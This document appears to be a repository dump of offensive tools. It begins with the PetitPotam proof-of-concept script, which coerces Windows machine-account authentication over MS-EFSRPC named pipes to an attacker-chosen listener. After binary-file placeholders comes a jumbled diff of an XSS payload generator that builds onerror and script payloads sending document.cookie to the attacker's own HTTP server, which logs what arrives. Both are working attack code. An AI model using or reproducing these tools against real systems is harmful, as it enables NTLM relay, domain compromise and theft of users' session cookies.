from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
show_banner = '''
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
'''
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
('Type', DWORD),
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_HASH_BLOB),
('Display', LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
('Cert', DWORD),
('Users', ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
('Type', DWORD),
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
('Certif', ENCRYPTION_CERTIFICATE),
('Blob', EFS_RPC_BLOB),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (
('FileName', WSTR),
)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDecryptFileSrv(NDRCALL):
opnum = 5
structure = (
('FileName', WSTR),
('Flag', ULONG),
)
class EfsRpcDecryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryUsersOnFile(NDRCALL):
opnum = 6
structure = (
('FileName', WSTR),
)
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryRecoveryAgents(NDRCALL):
opnum = 7
structure = (
('FileName', WSTR),
)
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcRemoveUsersFromFile(NDRCALL):
opnum = 8
structure = (
('FileName', WSTR),
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
)
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFile(NDRCALL):
opnum = 9
structure = (
('FileName', WSTR),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
)
class EfsRpcAddUsersToFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfo(NDRCALL):
opnum = 12
structure = (
('FileName', WSTR),
('infoClass', DWORD),
)
class EfsRpcFileKeyInfoResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
opnum = 13
structure = (
('SrcFileName', WSTR),
('DestFileName', WSTR),
('dwCreationDisposition', DWORD),
('dwAttributes', DWORD),
('RelativeSD', EFS_RPC_BLOB),
('bInheritHandle', BOOL),
)
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFileEx(NDRCALL):
opnum = 15
structure = (
('dwFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('dwAttributes', DWORD),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
)
class EfsRpcAddUsersToFileExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfoEx(NDRCALL):
opnum = 16
structure = (
('dwFileKeyInfoFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('InfoClass', DWORD),
)
class EfsRpcFileKeyInfoExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
opnum = 18
structure = (
('FileName', WSTR),
)
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
opnum = 19
structure = (
('FileName', WSTR),
('OldEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
)
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileExSrv(NDRCALL):
opnum = 21
structure = (
('FileName', WSTR),
('ProtectorDescriptor', WSTR),
('Flags', ULONG),
)
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
#class EfsRpcQueryProtectors(NDRCALL):
# opnum = 21
# structure = (
# ('FileName', WSTR),
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
# )
#class EfsRpcQueryProtectorsResponse(NDRCALL):
# structure = (
# ('ErrorCode', ULONG),
# )
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
}
class CoerceAuth():
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Connected!")
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Successfully bound!")
return dce
def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
#sys.exit()
return None
if str(e).find('rpc_s_access_denied') >= 0:
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
print('[+] OK! Using unpatched function!')
print("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
pass
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
def main():
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
print(show_banner)
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
plop = CoerceAuth()
if options.pipe == "all":
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
else:
all_pipes = [options.pipe]
for all_pipe in all_pipes:
print("Trying pipe", all_pipe)
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
if dce is not None:
plop.EfsRpcOpenFileRaw(dce, options.listener)
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()

Binary file not shown.

File diff suppressed because one or more lines are too long

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

@ -1,71 +1,108 @@
#!/usr/bin/env python #!/usr/bin/env python
from hackingscripts import util from hackingscripts import util
from fileserver import HttpFileServer import sys
import argparse import http.server
import random import socketserver
from http.server import HTTPServer, BaseHTTPRequestHandler
# returns http address
def getServerAddress(address, port):
if port == 80:
return "http://%s" % address
else:
return "http://%s:%d" % (address, port)
# returns js code: 'http://xxxx:yy/?x='+document.cookie
def getCookieAddress(address, port):
return "'%s/?x='+document.cookie" % getServerAddress(address, port)
def generatePayload(type, address, port):
def generate_payload(payload_type, url, index=None, **kwargs):
payloads = [] payloads = []
cookieAddress = getCookieAddress(address, port)
media_tags = ["img","audio","video","image","body","script","object"] media_tags = ["img","audio","video","image","body","script","object"]
if payload_type in media_tags: if type in media_tags:
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url)) payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress))
if payload_type == "script": if type == "script":
payloads.append('<script type="text/javascript">document.location=%s</script>' % url) payloads.append('<script type="text/javascript">document.location=%s</script>' % cookieAddress)
payloads.append('<script src="%s/xss" />' % url) payloads.append('<script src="%s/xss" />' % getServerAddress(address, port))
if len(payloads) == 0: if len(payloads) == 0:
return None return None
return "\n".join(payloads) return "\n".join(payloads)
class XssServer(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def _html(self):
content = f"<html><body><h1>Got'cha</h1></body></html>"
return content.encode("utf8") # NOTE: must return a bytes object!
def do_GET(self):
self._set_headers()
if self.path == "/xss":
cookie_addr = getCookieAddress(util.get_address(), listen_port)
self.wfile.write(cookie_addr.encode())
else:
self.wfile.write(self._html())
def do_HEAD(self):
self._set_headers()
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
BaseHTTPRequestHandler.end_headers(self)
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
# self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
# self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def do_POST(self):
self._set_headers()
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length)
print(post_data)
self.wfile.write(self._html())
if __name__ == "__main__": if __name__ == "__main__":
parser = argparse.ArgumentParser(description="XSS payload generator") if len(sys.argv) < 2:
parser.add_argument(dest="type", type=str, default=None, help="Payload type") print("Usage: %s <type> [port]" % sys.argv[0])
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port") exit(1)
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
args, extra = parser.parse_known_args()
listen_port = args.port listen_port = None if len(sys.argv) < 3 else int(sys.argv[2])
payload_type = args.type.lower() payload_type = sys.argv[1].lower()
local_address = args.addr
extra_args = {}
for entry in extra: local_address = util.get_address()
match = re.match(r"(\w+)=(\w+)", entry)
if not match:
print("Invalid extra argument:", entry)
exit()
key, value = match.groups()
extra_args[key] = value
# choose random port # choose random port
if listen_port is None: if listen_port is None:
listen_port = random.randint(10000,65535) sock = util.open_server(local_address)
while util.is_port_in_use(listen_port): if not sock:
listen_port = random.randint(10000,65535) exit(1)
listen_port = sock.getsockname()[1]
sock.close()
http_server = HttpFileServer(local_address, listen_port) payload = generatePayload(payload_type, local_address, listen_port)
payload_type = args.type.lower() if not payload:
url = http_server.get_full_url("/", util.get_address()) print("Unsupported payload type")
payload = generate_payload(payload_type, url, **extra_args)
if payload is None:
print("Unknown payload type: %s" % payload_type)
# print("Supported types: ")
exit(1) exit(1)
print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n") print("Payload:")
print(payload)
print()
headers = { httpd = HTTPServer((local_address, listen_port), XssServer)
"Access-Control-Allow-Origin": "*", print(f"Starting httpd server on {local_address}:{listen_port}")
"Access-Control-Allow-Methods": "GET, POST, OPTIONS" httpd.serve_forever()
}
http_server.addRoute("/", lambda req: (201, b"", headers))
http_server.dumpRequest("/")
http_server.serve_forever()